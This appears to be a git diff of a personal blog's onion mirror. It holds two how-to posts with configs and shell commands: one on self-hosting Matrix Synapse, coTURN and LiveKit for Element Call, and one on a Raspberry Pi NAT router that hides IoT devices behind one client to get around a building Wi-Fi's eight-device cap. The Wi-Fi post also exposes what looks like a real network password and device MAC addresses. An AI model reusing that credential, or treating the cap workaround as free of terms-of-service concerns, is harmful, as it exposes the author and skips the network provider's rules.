    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
    • +
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • +
    • UFW / firewall open: +
        +
      • 80/tcp, 443/tcp
      • +
      • 8448/tcp (Matrix federation)
      • +
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • +
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
      • +
      +
    • +
    • Docker + docker compose installed.
    • +
    +
    +

    Synapse + PostgreSQL

    +

    1) The PostgreSQL collation gotcha

    +

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    +
    Database has incorrect collation of 'en_US.utf8'. Should be 'C'
    +

    Two ways to resolve:

    +
      +
    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    • +
    +
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +
    +

    Requires wiping the volume and recreating the DB.

    +
      +
    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.
    • +
    +

    2) Start Synapse and generate config

    +
    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    +

    3) Create an admin user

    +
    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.

    +
    +

    TURN (coTURN)

    +

    1) Avoid bad inline comments

    +

    If you see errors like:

    +
    ERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false.
    +

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    +

    2) Minimal turnserver.conf

    +
    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    +

    In homeserver.yaml:

    +
    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    +
    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.

    +
    +

    Nginx (host) for Synapse and federation

    +

    Create /etc/nginx/conf.d/matrix.conf:

    +
    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    +
    Access-Control-Allow-Origin cannot contain more than one origin.
    +Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks.
    +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSpglxAArFNgxheR8m2r6QvtoEuHJwI51WQteu+0un0FiIfHKtFPcXd2HiVqzODu
    +YZvIGCAecMURQMRvrgB8cO3ebY8Yi9EECnC1sHsluE05GOuro5Htja7TbsGxwTc3
    +PIe+zju7lIhTHonqLogUyyunhWxOfg1RCaSjp3n6k/r2iEamgKu6Cihrv54wstGa
    +SVJbwubie1D9TPcXU3ynC+ynNBcmVevFl7g/X7Ie8Pw0SP1dJF+we5iVqUrZgPO2
    +AudHlWRm13j7Xifv/JxqymkZV1XiShIY8Mb0Ju8m5+HjkoIaZDtSfFyt+AwPdHDQ
    +m3sMXA7yZUvy+pXtziwrOnHFAez22goAr9Ar9KcwGQgRvyxKuuKIuTq+yxtCuXBF
    +fPWo5pL0rMtIfwRyaiiX9bwV+WbBXNhghTPnaxuQ3CWkLdiwaycI7xPDAg8FzFAR
    +7yoN0vqhKSvZlAL1OQS+4yRcXnguq7UY9UF+drG0f0QpC3aht1QgrJ04gvDp2BOk
    +ymmlxCxUWQrFSqDThjv7WFCclamKTimCODKWvIG6sjQcJuLCg9CXRl+ZMvwobQqH
    +Tv8cm8PMimqJppUodB3Ig5zP3ZkVcK8uFm5XqoUnasqDVLLJaRcCu+Qt4h9gZ2w6
    +Q3Q6K/zPZcKEIrwJfczWotSgG0g8dnuMUUYALWTbRrGjN0mgCss=
    +=yHZZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/matrix_setup.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/matrix_setup.md.asc
    +gpg --verify matrix_setup.md.asc matrix_setup.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/webrtc/page/1/index.html b/public-onion/tags/webrtc/page/1/index.html new file mode 100644 index 0000000..d5038da --- /dev/null +++ b/public-onion/tags/webrtc/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/webrtc/ + + + + + + diff --git a/public-onion/tags/wifi/index.html b/public-onion/tags/wifi/index.html new file mode 100644 index 0000000..ffb9394 --- /dev/null +++ b/public-onion/tags/wifi/index.html @@ -0,0 +1,353 @@ + + + + + + + +Wifi | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village) +

    +
    +
    +

    The Day My Wi-Fi Said “Eight Is Enough” My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own. +...

    +
    +
    November 23, 2025 · 18 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/wifi/index.xml b/public-onion/tags/wifi/index.xml new file mode 100644 index 0000000..ed28f47 --- /dev/null +++ b/public-onion/tags/wifi/index.xml @@ -0,0 +1,612 @@ + + + + Wifi on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/wifi/ + Recent content in Wifi on AlipourIm journeys + Hugo -- 0.146.0 + en + Sun, 23 Nov 2025 00:00:00 +0000 + + + I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/house_upgrade/ + Sun, 23 Nov 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/house_upgrade/ + Real-world guide: hardware choices, reasons, setup details, performance, and how many devices you can realistically support. + The Day My Wi-Fi Said “Eight Is Enough” +

    My apartment Wi-Fi (ASK4) has a hard cap of 8 devices. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put all the IoT stuff behind a Raspberry Pi that shows up as one device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own.

    +

    This post is everything I did—no corporate firewall access, no exotic gear—just a Pi, a USB Wi-Fi adapter, and a little patience.

    +
    +

    Hardware: what I picked and why

    +
      +
    • +

      Raspberry Pi 4 (4GB)
      +It has enough CPU to route/NAT comfortably, USB 3 for fast Wi-Fi dongles, and solid Linux support. A Pi 3 works in a pinch, but the 4 stays cooler and handles bursts better.

      +
    • +
    • +

      ALFA AWUS036ACHM (USB Wi-Fi)
      +Reliable, AP-mode friendly on Linux, and happy with hostapd. I used it to broadcast my IoT network (2.4 GHz, 20 MHz channel) while the Pi’s built-in Wi-Fi connects upstream. For better range, use a short USB 3 extension so the antenna sits away from the Pi (USB 3 noise can hurt 2.4 GHz).

      +
    • +
    • +

      Fast USB-C power supply (official Pi 4 or 5V/3A equivalent)
      +Wi-Fi spikes current draw; brown-outs cause random gremlins.

      +
    • +
    • +

      16–32 GB microSD, heatsinks, ventilated case
      +The Pi 4 appreciates a bit of airflow.

      +
    • +
    • +

      (Optional) Ethernet cable
      +If you can wire the Pi to the wall/router for upstream instead of using onboard Wi-Fi, do it. Wired upstream = higher, steadier throughput and frees the onboard radio.

      +
    • +
    +
    +

    What this setup actually does

    +
      +
    • The Pi connects to the building’s ASK4 Wi-Fi as a client (wlan0).
    • +
    • The ALFA dongle creates a new access point called IoT_hub (wlx… interface) with password Iman8118.
    • +
    • Devices join IoT_hub. The Pi does NAT, so upstream sees one MAC address (the Pi), not dozens of gadgets. Device limit: defeated.
    • +
    • Avahi mDNS reflector lets services like AirPlay/HomeKit be discoverable across the two subnets without touching the managed router.
    • +
    • If I’m on the building Wi-Fi and want to control IoT gear without switching, I can also use an optional overlay (e.g., Tailscale) to reach 192.168.50.0/24 from anywhere.
    • +
    +
    +

    Setup details (the friendly version)

    +

    1) Access point with hostapd

    +

    I broadcast a simple WPA2 network on 2.4 GHz (best compatibility). Channel 1/6/11—pick the cleanest. 20 MHz channel width keeps legacy and low-power devices happy.

    +
    interface=wlx00c0cab7ab29
    +ssid=<A_NICE_SSID>
    +country_code=DE
    +hw_mode=g
    +channel=6
    +ieee80211n=1
    +wmm_enabled=1
    +# Don't require HT or you'll reject some tiny IoT clients:
    +require_ht=0
    +wpa=2
    +wpa_key_mgmt=WPA-PSK
    +rsn_pairwise=CCMP
    +wpa_passphrase=<STRONG_PASSWORD>
    +

    2) DHCP on the IoT side (dnsmasq)

    +

    Give out addresses on 192.168.50.0/24 and let systemd-resolved handle DNS to the internet.

    +
    interface=wlx00c0cab7ab29
    +bind-interfaces
    +dhcp-range=192.168.50.100,192.168.50.240,255.255.255.0,12h
    +dhcp-option=3,192.168.50.1
    +dhcp-option=6,1.1.1.1,8.8.8.8
    +port=0  # leave port 53 to systemd-resolved
    +log-dhcp
    +

    3) Routing + NAT (nftables)

    +

    This makes every downstream device appear as the Pi upstream:

    +
    table inet filter {
    +  chain input {
    +    type filter hook input priority filter; policy accept;
    +    ct state established,related accept
    +    iif "lo" accept
    +    iif "wlan0" accept
    +    iif "wlx00c0cab7ab29" accept
    +    udp dport 5353 accept  # mDNS
    +    counter drop
    +  }
    +  chain forward {
    +    type filter hook forward priority filter; policy accept;
    +    ct state established,related accept
    +    iif "wlx00c0cab7ab29" oif "wlan0" accept
    +    iif "wlan0" oif "wlx00c0cab7ab29" accept
    +  }
    +  chain output { type filter hook output priority filter; policy accept; }
    +}
    +table ip nat {
    +  chain postrouting {
    +    type nat hook postrouting priority srcnat; policy accept;
    +    oif "wlan0" masquerade
    +  }
    +}
    +

    4) mDNS across subnets (Avahi)

    +

    The reflector bridges Bonjour so AirPlay/HomeKit can find each other across IoT and ASK4:

    +
    [server]
    +allow-interfaces=wlan0,wlx00c0cab7ab29
    +[reflector]
    +enable-reflector=yes
    +

    I wanted to be able to control my homepod without switching networks, but without setting a custom route on ASK4 WiFi it was not possible, hence the reason I chose Tailscale

    +

    Iet up Tailscale, advertise 192.168.50.0/24 from the Pi. Now I can log in with a passkey from my devices and control my homepod without switching networks, well, kinda. Boom! Secure access to IoT without leaving ASK4.

    +

    Now some random questions that I looked up in internet:

    +
      +
    1. How many devices can this really support?
    2. +
    +

    Short answer: a lot—for IoT. +Long answer: the DHCP pool here has 141 IPs (.100 to .240). Wi-Fi airtime is the real limit, not IPs. With a 2.4 GHz AP and mostly low-bandwidth gadgets (sensors, plugs, bulbs, ESPs), 50–70 devices is completely reasonable. The ALFA’s radio and hostapd handle concurrent associations fine; I’ve watched dozens attach, chatter, and renew leases without drama.

    +

    If you plan camera-heavy traffic or bulk transfers, either split heavy gear onto 5 GHz or wire those devices. For small, chatty IoT traffic, this Pi/AP combo is very comfortable.

    +
      +
    1. What speeds should I expect?
    2. +
    +
      +
    • +

      LAN (IoT device ↔ Pi) on 2.4 GHz, 20 MHz channel, WPA2: +~20–60 Mbps real throughput per device is typical. IoT stuff barely needs 1 Mbps, so I’m golden! ^^

      +
    • +
    • +

      Internet (IoT device → upstream via Pi): +If the Pi’s upstream is Wi-Fi, which in my case is, the bottleneck is that link; expect ~30–70 Mbps stable. If upstream is Ethernet, the Pi 4 can NAT hundreds of Mbps, and my AP radio becomes the limit.

      +
    • +
    • +

      Latency: Adding one NAT hop adds a little delay (a few ms). For HomePod/AirPlay, mDNS reflection + local Wi-Fi keeps it snappy.

      +
    • +
    +
      +
    1. Why these choices?
    2. +
    +
      +
    • +

      2.4 GHz is where tiny IoT radios live (bulbs, plugs, ESP/ESP32). It trades speed for range and compatibility.

      +
    • +
    • +

      WPA2-PSK keeps things simple; WPA3 is fine if all your clients support it.

      +
    • +
    • +

      20 MHz channel prevents older or power-saving devices from flaking out.

      +
    • +
    • +

      Avahi reflector avoids any changes to the building’s router and still lets discovery work.

      +
    • +
    • +

      NAT collapses dozens of gadgets into a single upstream “seat,” sidestepping the 8-device limit entirely.

      +
    • +
    +

    Troubleshooting

    +
      +
    • +

      hostapd masked/disabled

      +
      sudo systemctl unmask hostapd && sudo systemctl enable --now hostapd
      +
    • +
    • +

      dnsmasq can’t start because of port 53
      +set port=0 in /etc/dnsmasq.d/*.conf and let systemd-resolved keep DNS.

      +
    • +
    • +

      “Station does not support mandatory HT PHY” in hostapd logs →
      +add require_ht=0 (and keep ieee80211n=1) in your hostapd.conf.

      +
    • +
    • +

      AirPlay/HomeKit don’t show up across subnets →
      +ensure Avahi reflector is enabled and UDP/5353 (mDNS) is allowed:

      +
        +
      • /etc/avahi/avahi-daemon.conf has: +
        [server]
        +allow-interfaces=wlan0,wlx00c0cab7ab29
        +[reflector]
        +enable-reflector=yes
        +
      • +
      • firewall allows:
      • +
      +
      udp dport 5353 accept
      +
    • +
    • +

      Weak signal / flaky joins →
      +use a short USB 3 extension to move the ALFA away from the Pi and cables;
      +scan and switch to a cleaner 2.4 GHz channel (1/6/11), keep width at 20 MHz.

      +
    • +
    • +

      Clients connect but no internet →
      +verify IP forward & NAT:

      +
    • +
    +
    sudo sysctl net.ipv4.ip_forward
    +

    If it’s 0, enable it permanently and reload

    +
    echo 'net.ipv4.ip_forward=1' | sudo tee /etc/sysctl.d/99-iot.conf
    +sudo sysctl --system
    +

    Verify the nftables NAT rule exists (masquerade out via wlan0)

    +
    sudo nft list ruleset | sed -n '/table ip nat/,$p' | sed -n '1,80p'
    +

    Add it if missing

    +
    sudo nft add table ip nat
    +sudo nft 'add chain ip nat postrouting { type nat hook postrouting priority srcnat; policy accept; }'
    +sudo nft 'add rule ip nat postrouting oif "wlan0" masquerade'
    +

    Persist nftables (Ubuntu)

    +
    sudo sh -c 'nft list ruleset > /etc/nftables.conf'
    +sudo systemctl enable --now nftables
    +

    Quick service sanity checks

    +

    hostapd (AP)

    +
    sudo systemctl status hostapd --no-pager
    +sudo journalctl -u hostapd -n 60 --no-pager
    +iw dev wlx00c0cab7ab29 info
    +iw dev wlx00c0cab7ab29 station dump
    +

    dnsmasq (DHCP on IoT side)

    +
    sudo systemctl status dnsmasq --no-pager
    +sudo journalctl -u dnsmasq -n 80 --no-pager
    +grep -E 'interface=|dhcp-range' /etc/dnsmasq.d/*.conf || true
    +tail -n 50 /var/lib/misc/dnsmasq.leases
    +

    Avahi (mDNS reflector)

    +
    grep -E 'enable-reflector|allow-interfaces' /etc/avahi/avahi-daemon.conf
    +sudo systemctl status avahi-daemon --no-pager
    +sudo journalctl -u avahi-daemon -n 60 --no-pager
    +

    Basic connectivity tests from a client on IoT_hub

    +

    got DHCP?

    +
    ip addr show
    +ip route
    +cat /etc/resolv.conf
    +

    can you reach the Pi and the internet?

    +
    ping -c 3 192.168.50.1
    +ping -c 3 1.1.1.1
    +ping -c 3 google.com
    +

    DNS works end-to-end?

    +
    
    +dig +short _airplay._tcp.local @224.0.0.251 -p 5353
    +

    (Or use a Bonjour browser app to confirm the HomePod is discoverable.)

    +

    If AirPlay/HomeKit discovery is flaky across subnets

    +

    make sure mDNS is allowed both directions on the Pi

    +
    
    +sudo nft add rule inet filter input udp dport 5353 accept
    +sudo nft add rule inet filter forward udp dport 5353 accept
    +sudo sh -c 'nft list ruleset > /etc/nftables.conf'
    +

    restart Avahi cleanly and re-announce

    +
    sudo systemctl restart avahi-daemon
    +sudo journalctl -u avahi-daemon -n 40 --no-pager
    +

    from the Pi, watch mDNS traffic on both sides (you should see queries/answers)

    +
    sudo tcpdump -ni wlx00c0cab7ab29 udp port 5353 -vvv
    +

    (in another terminal:)

    +
    sudo tcpdump -ni wlan0 udp port 5353 -vvv
    +

    Throughput + airtime sanity (optional)

    +

    simple iperf3 (install on Pi and a client)

    +
    sudo apt-get update && sudo apt-get install -y iperf3
    +

    (on the Pi:) iperf3 -s +(on a client:) iperf3 -c 192.168.50.1 -P 3 -t 10

    +

    check channel utilization/interference (from Pi)

    +
    sudo iw dev wlx00c0cab7ab29 survey dump | sed -n '1,200p'
    +

    (if busy, try channel 1 or 11 in hostapd.conf and restart hostapd)

    +

    Scaling tips (lots of tiny IoT devices)

    +

    hostapd tweaks (add to hostapd.conf, then restart)

    +

    (reduce management overhead slightly; keep conservative for compatibility)

    +
    beacon_int=100
    +dtim_period=2
    +wmm_enabled=1
    +ap_isolate=0
    +max_num_sta=256      # logical cap; real limit is airtime/driver
    +
    sudo systemctl restart hostapd
    +

    if some ESP/low-power clients are sticky or nap too hard:

    +

    (device-side) disable aggressive power saving if supported
    +(AP-side) keep channel width at 20 MHz and require_ht=0 for legacy clients

    +

    “Clients connect but no internet” quick checklist

    +

    Pi has a default route via upstream?

    +
    ip route | grep default
    +

    NAT counters are increasing when clients surf?

    +
    sudo nft list chain ip nat postrouting -a
    +

    connections tracked?

    +
    sudo conntrack -L -o extended | head -n 40
    +

    last resort: bounce the pieces

    +
    sudo systemctl restart hostapd dnsmasq avahi-daemon
    +sudo systemctl restart NetworkManager || true
    +sudo systemctl restart nftables
    +

    Network Traffic (embedded from captures)

    +

    For fun, and curiousity!

    +

    1) DHCP leases (who joined the IoT network)

    +
    1763936213 6a:12:f6:62:40:88 192.168.50.216 * 01:6a:12:f6:62:40:88
    +1763935691 72:00:a6:33:e5:7a 192.168.50.222 * 01:72:00:a6:33:e5:7a
    +1763935629 e8:06:90:69:66:7c 192.168.50.189 Aidot 01:e8:06:90:69:66:7c
    +1763936452 ac:bc:b5:e5:38:29 192.168.50.202 Main-Bedroom-2 01:ac:bc:b5:e5:38:29
    +1763935618 e8:06:90:68:06:2c 192.168.50.196 * 01:e8:06:90:68:06:2c
    +1763935618 48:e1:e9:bc:f6:91 192.168.50.131 * *
    +1763935618 48:e1:e9:bd:08:0d 192.168.50.118 * *
    +1763935615 48:e1:e9:bd:0b:a7 192.168.50.233 * *
